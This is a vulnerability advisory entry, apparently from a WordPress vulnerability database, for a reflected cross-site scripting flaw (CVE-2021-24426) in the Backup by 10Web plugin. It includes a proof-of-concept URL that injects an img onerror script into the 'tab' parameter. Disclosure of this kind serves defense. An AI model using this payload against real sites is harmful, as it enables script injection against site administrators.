WordPress Plugin Vulnerabilities

Backup by 10Web <= 1.0.20 - Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise or escape the tab parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting issue

Proof of Concept

http://example.com/wp-admin/admin.php?page=buwd_restore&tab=general%22%3E%3Cimg%20src=x%20onerror=alert(document.domain);%20m0ze

Affects Plugins

Plugin icon
backup-wd
No known fix

References

CVE
CVE-2021-24426
URL
https://m0ze.ru/vulnerability/[2021-05-23]-[WordPress]-[CWE-79]-Backup-by-10Web-WordPress-Plugin-v1.0.20.txt

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
7.1 (high)

Miscellaneous

Original Researcher
m0ze
Submitter
m0ze
Submitter website
https://m0ze.ru/
Submitter twitter
vladm0ze
Verified
Yes
WPVDB ID
48464b3f-fe57-40fe-8868-398a36099fb9

Timeline

Publicly Published
2021-06-16 (about 2 years ago)
Added
2021-06-16 (about 2 years ago)
Last Updated
2021-06-25 (about 2 years ago)

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